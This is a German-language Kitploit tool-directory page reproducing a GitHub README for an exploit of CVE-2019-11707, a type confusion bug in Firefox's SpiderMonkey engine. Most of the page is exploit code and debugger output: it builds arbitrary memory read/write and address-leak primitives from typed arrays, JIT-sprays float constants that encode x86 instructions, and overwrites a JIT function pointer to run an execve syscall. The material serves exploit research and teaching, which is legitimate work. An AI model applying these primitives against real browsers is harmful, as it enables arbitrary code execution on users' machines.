Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
cve-2019-11707 — https://bugs.chromium.org/p/project-zero/issues/detail?id=1820 | Kitploit
Tools/GitHubGitHub/flabbergastedbd/cve-2019-11707
SchwachstellenanalyseExploitationShellcodeWebanwendungs-ExploitationShellcode-GenerierungPayload-EntwicklungBinary-Exploitation
GitHubflabbergastedbd/cve-2019-11707

cve-2019-11707

https://bugs.chromium.org/p/project-zero/issues/detail?id=1820

Repository anzeigen
225vor 6 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

SpiderMonkey - CVE-2019-11707

Fehler: https://bugs.chromium.org/p/project-zero/issues/detail?id=1820

Screenshots

source

exploit

Dateien

  • exploit.js - Eigentlicher Exploit, vorangestellt durch saelos util.js & Int64.js.
  • stager.js - Wird zum Erstellen von Konstanten verwendet, vorangestellt durch saelos util.js & Int64.js.
  • stager.py - Wird verwendet, um Anweisungen mit Keystone zu assemblieren. Die Ausgabe wird stager.js zugeführt.
  • Exploit-Übersicht

    • Nutze die Typenkonfusion, um über einen getypten Array-Puffer hinaus zu schreiben (durchgeführt in setup()).
    root@kitploit:~
    const exploit_pack = [
      new Uint8Array(0x10),
      new Uint8Array(0x10), // Use this [:8] to control data pointer of below array
      new Uint8Array(0x10), // Arbitrary RW array
    ]
    
    • TL;DR: Schreibe über den Backing-Buffer von exploit_pack[0] hinaus in das Datenzeigerfeld von exploit_pack[1]. Richte es auf die Adresse des Datenzeigerfelds von exploit_pack[2].
    root@kitploit:~
          // setup()
          const v11 = v4.pop();
          const addr = v11[11];
          v11[11] = Add(new Int64.fromDouble(addr), 0x58).asDouble();
    
    • Beliebiges Lesen/Schreiben möglich, die Adresse kann als Inhalt von exploit_pack[1] gesetzt werden, was intern den Datenzeiger von exploit_pack[2] modifiziert. Dann verwende exploit_pack[2], um Speicher zu lesen oder zu schreiben.
    root@kitploit:~
    function read(ptr) {
      read_addr = new Int64(ptr);
      // Change data pointer of exploit_pack[2]
      for (var idx=0; idx < 8; idx++) {
        exploit_pack[1][idx] = read_addr.byteAt(idx);
      }
    
      let bytes = exploit_pack[2].slice(0, 8);
      // Remove 0xfffe in pointer
      // bytes[7] = 0x00; bytes[6] = 0x00;
      obj_addr = new Int64(bytes);
      // console.log(obj_addr);
      return obj_addr;
      // console.log(new Int64(obj_addr));
    }
    
    function write(ptr, value) {
      let addr = new Int64(ptr);
      let bytes = new Int64(value);
    
      // Change data pointer of exploit_pack[2]
      for (var idx=0; idx < 8; idx++) {
        exploit_pack[1][idx] = addr.byteAt(idx);
      }
    
      for (var idx=0; idx < 8; idx++) {
        exploit_pack[2][idx] = bytes.byteAt(idx);
      }
    }
    
    • Nutze exploit_pack selbst, um eine addrOf-Primitive zu konstruieren.
    root@kitploit:~
    function addrOf(obj) {
      exploit_pack[3] = obj;
    
      // Change data pointer of exploit_pack[2]
      for (var idx=0; idx < 8; idx++) {
        exploit_pack[1][idx] = leaking_addr.byteAt(idx);
      }
    
      let bytes = exploit_pack[2].slice(0, 8);
      // Remove 0xfffe in pointer
      bytes[7] = 0x00; bytes[6] = 0x00;
      obj_addr = new Int64(bytes);
      // console.log(obj_addr);
      return obj_addr;
      // console.log(new Int64(obj_addr));
    }
    
    • Führe ein grundlegendes JIT-Spray durch, durchlaufe einige Strukturen, um den JIT-Funktionszeiger zu erhalten, finde einen interessanten Offset zum Springen. Überschreibe den tatsächlichen Funktionszeiger mit diesem Offset.

    JIT-Spray

    • Kurz gesagt, wir können Funktionen wie unten in r-x-Seiten zwingen.
    root@kitploit:~
    const stager = function (a, b, c, d) {
      const rax = a;
      const rdi = b;
      const rsi = c;
      const rdx = d;
    
      const g0 = 9.073632937307107e-271;
      const g1 = 1.6063957816990143e-270;
      const g2 = 1.6082444981830348e-270;
      const g3 = 1.6100929890177583e-270;
      const g4 = 1.6119413952339954e-270;
      const g5 = 1.68020602465e-313;
    }
    
    • Nach dem JIT sieht das etwa wie unten aus. Sie können unsere Konstante 0xdeadc0debaad sehen.

    Actual JIT

    root@kitploit:~
    gef➤  disas /r 0x0000085a6e604531,+20
    Dump of assembler code from 0x85a6e604531 to 0x85a6e604545:
       0x0000085a6e604531:  49 bb 80 ad ba de c0 ad de 07   movabs r11,0x7deadc0debaad80
       0x0000085a6e60453b:  4c 89 5d a8                      mov    QWORD PTR [rbp-0x58],r11
       0x0000085a6e60453f:  49 bb c0 48 8b 44 24 28 eb 07   movabs r11,0x7eb2824448b48c0
    End of assembler dump.
    
    • Wenn dieselben Bytes ab einem anderen Offset als Befehle interpretiert werden, wie unten, ändert sich alles. Das ist das Wesen des JIT-Sprays.

    Offset JIT

    root@kitploit:~
    gef➤  disas /r 0x0000085a6e604542,+10
    Dump of assembler code from 0x85a6e604542 to 0x85a6e604556:
       0x0000085a6e604542:  48 8b 44 24 28  mov    rax,QWORD PTR [rsp+0x28]
       0x0000085a6e604547:  eb 07           jmp    0x85a6e604550
    End of assembler dump.
    
    • Die Idee ist, die Bytes 4c 89 5d XX 49 bb 00 irgendwie mit den 7 Bytes, die wir kontrollieren, zu umgehen. Wir können über diese Bytes mit einem relativen Sprung springen.
    root@kitploit:~
    $ rasm2 -a x86 -b 64 "jmp 7"
    eb05
    
    • Ein relativer Sprung benötigt 2 Bytes, wir haben 5 Bytes, um unsere Assembleranweisungen zu schreiben. Die Parameter der JIT-Funktion sind bei Aufruf unserer Funktion an einem Offset auf dem Stack verfügbar. Daher nahm unsere JIT-Funktion Parameter entgegen.

    registers

    • Gemäß der X86-64-Aufrufkonvention für Syscalls unter Linux benötigen wir für einen execve-Syscall Folgendes in den Registern.
    root@kitploit:~
    rax: Syscall-Nummer
    rdi: Programm-Pfad
    rsi: argv
    rdx: envp
    
    • Die folgenden mov-Anweisungen sind ein Segen, um Werte von einem Offset auf dem Stack in die relevanten Register zu verschieben. Sie sind genau 5 Bytes lang.
    root@kitploit:~
    $ rasm2 -a x86 -b 64 "mov rdi, QWORD [rsp + 0x28]"
    488b442428
    
    • So können wir unsere Konstanten konstruieren. Siehe stager.py -> stager.js, um zu sehen, wie diese erzeugt wurden.

    • Überschreibe einfach den tatsächlichen JIT-Funktionszeiger in der Objektstruktur und ersetze ihn durch den Offset. Rufe die Funktion mit Parametern auf.

    root@kitploit:~
    write(jitGetter, jmpOffset);
    stager(
      new Int64(59).asDouble(),
      new Int64(pathAddr).asDouble(),
      new Int64(argvBufferAddr).asDouble(),
      new Int64(environBufferAddr).asDouble());
    
    • Aufgrund der Art, wie der Stager geschrieben ist, ist es einfach, jeden Syscall mit 3 Argumenten durchzuführen.

    Super nützliche Links

    • https://doar-e.github.io/blog/2018/11/19/introduction-to-spidermonkey-exploitation/
    • https://doar-e.github.io/blog/2019/06/17/a-journey-into-ionmonkey-root-causing-cve-2019-9810/
    • https://vigneshsrao.github.io/writeup/
    • https://github.com/saelo/jscpwn
    Tool herunterladen